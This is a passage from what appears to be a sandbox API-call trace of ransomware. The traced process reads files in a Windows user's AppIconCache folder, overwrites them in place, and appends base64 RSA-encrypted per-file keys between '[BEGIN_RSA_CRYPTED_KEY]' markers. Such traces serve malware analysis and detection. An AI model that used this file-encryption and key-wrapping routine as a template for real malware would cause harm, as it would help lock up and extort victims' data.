lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.609] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0245.609] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.609] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.609] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0245.609] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0245.609] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0245.609] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="9rGb8NHtEnevP2CS5A/kib/eeptSAyIeREZshbJCNQLwraXJybnHm9vhzgICnUgl\nSrqE9fDwK/wb5ygWp2B04J9hmpnq9WzBxTV9qodDDzd0io/FK2e9G19JS5bkH8W/\nA+8PiZ4DD1Mfjn369chd2LZ5CW7TKtokuZMkHeVYtzXmPXZxJNL7h55zhDrfpHSq\n/SgEVkd9hdbqDcbVFkdhqPIm4Ij0+zjN/LEsNaBe0zRgp/1QNDfEomMqlCYW7mYl\nYD9EgZ94iqHZEvETMGuQNx86EGOoO+Mg3dyVhH7rV0eTncTL4KlvFNr9R1P68LB4\n0mRBxtw72pTlW9E5nq5ctw==\n", pcchString=0x2e3f9a8) returned 1 [0245.609] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0245.609] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.609] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.609] CloseHandle (hObject=0x1afc) returned 1 [0245.611] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0245.611] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{E76B536A-24BE-46E2-8644-8BD44952F288}", dwFileAttributes=0x80) returned 1 [0245.612] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{E76B536A-24BE-46E2-8644-8BD44952F288}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{e76b536a-24be-46e2-8644-8bd44952f288}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0245.612] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0245.613] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.744] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0245.744] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.744] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0245.744] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.744] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.745] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0245.745] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0245.745] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0245.745] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="jqkxkUJEqJgPdF23PLmEYXXZwGnEerKkQ0t0pDmgMvIEkVj6pNffGycaEfAqS9Au\nA5o4+eR/c8bQBd+2wos6UISE2RhSCYYq5BmaNk3K9c026BD8O0HRIm2Jd/53Q0iE\nRui1H6HZk51P3I9KRPQQJYZvaSsaSIJ+yGx8m9VXHjK5oSyBWTrUYEDWmKmgz+gO\nWYEhiO7MDhLSO3wn4iOU4BlTccxIC0Zk7uiqmFomhCe2VPcXlG6xbWUj1AYaRuNP\nbDyQu5zVZuDtjEKXKPAUg8zkqMVOZ1Jwl1SBa9Q31LBwgcJ7Xa/QML7y5Gk5FTx3\nyu+2iKj9SKTBGsM1TI4XOw==\n", pcchString=0x2e3f9a8) returned 1 [0245.745] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0245.745] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.745] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.745] CloseHandle (hObject=0x1afc) returned 1 [0245.764] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0245.764] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{E35E895E-B105-44CC-9B2B-8D9A698783C6}", dwFileAttributes=0x80) returned 1 [0245.764] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{E35E895E-B105-44CC-9B2B-8D9A698783C6}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{e35e895e-b105-44cc-9b2b-8d9a698783c6}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0245.765] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0245.765] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.766] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0245.766] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.766] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0245.766] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.766] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.766] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0245.766] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0245.767] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0245.767] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="sBk0yt1gk/CmE2vhN51mhTR4o/GBsRmY+ZjzbcMPVxgaG3TuUaWCAUNLn3SGbL36\neIwqaj1u45xjr2E9QbxOTSgz6TFexvUatIs36L1jM9dRRr3szpZTENCUaY/6ZLnU\nzGAzn6aJJuRPUo4GDD0ZKbmjNmvEtNCwmJbqImv52+4uFK0dADmN+gPm40r8z+Mi\nHuxYFN+Kl4g18fntJ0oEhyjMVp8KDE3OzUYlKvwjRKl2edaLpO/Z9jDngBsrFXb9\nb9GtAaaMKEHZMppQ2CXREMBcBTuno7hWQ4/8pwg8xmc9QhCNB6a+7N3TQamgu7WW\nsZLLnXvDiEda36hG7ZiOdA==\n", pcchString=0x2e3f9a8) returned 1 [0245.767] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0245.767] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.767] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.767] CloseHandle (hObject=0x1afc) returned 1 [0245.768] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0245.768] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{E0AD878D-B374-40FC-B27F-1EA6CD8C752F}", dwFileAttributes=0x80) returned 1 [0245.768] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{E0AD878D-B374-40FC-B27F-1EA6CD8C752F}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{e0ad878d-b374-40fc-b27f-1ea6cd8c752f}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0245.769] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0245.769] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.770] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0245.770] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.770] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0245.771] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.771] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.771] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0245.771] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0245.771] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0245.771] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="4IOJue2BqhDXziHFybXdz+HBu1vFlBiNWXv8+hk6sx6NhkF78XE2MJI85oTZt4g/\nLPlkJumSOTyG8X5X917r10sZ+YuHKenTp8FhOeZ0KZ4bWW4drnkaUaIbP5nOz1E2\nLjNWnK5t5Jsv7Ya0fLXLieC+Rc5fE/REsZ56vATsn9t2h6PQ3qya9diiRG6dWD8I\nOjxN4aKPBne9dArSQ3cDPzOPm23ufcwco4MAuRsps+QaDhZCQkpiQvrB3NBPD58a\n2Yci3L73MwSG8GWOuLEYWfWVPs7E5z0dl61pAIV2fNJs2R1F7Buql+uhpldfnp0S\nkrT2AKTbURHiArrJUzthnw==\n", pcchString=0x2e3f9a8) returned 1 [0245.771] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0245.771] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.771] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.771] CloseHandle (hObject=0x1afc) returned 1 [0245.773] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0245.773] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{DC3F0DD8-0793-4FBB-8E32-717EB37783E0}", dwFileAttributes=0x80) returned 1 [0245.773] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{DC3F0DD8-0793-4FBB-8E32-717EB37783E0}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{dc3f0dd8-0793-4fbb-8e32-717eb37783e0}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0245.774] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0245.774] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.775] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0245.775] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.775] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0245.775] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.775] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.775] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0245.775] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0245.776] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0245.776] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ZIwNGB9CHvdyzT0VW3KhVwrGaxcQBzbX1IaxogF06/a0k35uk8GDERyQofYeH+Vx\nObYN+VDKfgKGT1zS4NdnASP8ly/jI7TNlldKXYWoBMnP9tUkLBIft6B9taxIUGn+\n5VBmgmaV2ZN2ZDoyMgHMG34xLmimdI/6QGeI2WOrOIbUrRXM24YFbNf3ynSGJ6PB\nR/uP5vOEHyhq8kiNiLUBFz1KDtqMoDoUP2LW2gOWOlTJLH9kQ4A9S7A/ALUacJCl\nMYVohrGHxwhe4LnAjAo/bBhKWlFdRU3b7G2CI7jUJvtfz/WKZCJDe5sQ/1MC0Mwc\n2NWLCUfSFDXzOAz1IOBtkQ==\n", pcchString=0x2e3f9a8) returned 1 [0245.776] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0245.776] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.776] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.776] CloseHandle (hObject=0x1afc) returned 1 [0245.777] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0245.777] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{D7B78AAA-A1E8-4680-A688-037B9A274D5A}", dwFileAttributes=0x80) returned 1 [0245.778] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{D7B78AAA-A1E8-4680-A688-037B9A274D5A}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{d7b78aaa-a1e8-4680-a688-037b9a274d5a}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0245.778] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0245.778] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.779] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0245.780] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.780] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0245.780] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.780] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.780] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0245.780] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0245.780] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0245.780] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="92VQDPU2p4GjC8dRCtdOvhlML6rYRBpXFSCHmnBQPxAztdjf9hpWK1cJh6mv6+lc\nPuKz2knht0tKRITkiFUdSj1XjZLi/YlB9m2Et1BMBBks6qvIVf2B0dXjono4kLVT\nrnfoeg3mZdJixv3Rp8ZVonwjtohUdM3svcobW2iV18+RmBd1SLuKC1j4eLdJqfYJ\nU4Rrzi8YjSQVSmA9Oj4eDAPDKgo0f6+POc73VBebnUh3pk/kWtpTVpquWI6ILgpG\nfDDsPUfdcSFW6EnYaH7IGRIahb7Lxj08SAbEaSKX8XajvY+lyAq9X1DGAytyE4mv\n5JoZP1R5VOmshiEk3wAlBQ==\n", pcchString=0x2e3f9a8) returned 1 [0245.780] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0245.780] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.780] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.780] CloseHandle (hObject=0x1afc) returned 1 [0245.782] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0245.782] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{D750F1B1-B0B7-4DA6-A9C0-1ABD8854F051}", dwFileAttributes=0x80) returned 1 [0245.782] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{D750F1B1-B0B7-4DA6-A9C0-1ABD8854F051}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{d750f1b1-b0b7-4da6-a9c0-1abd8854f051}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0245.783] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0245.783] ReadFile 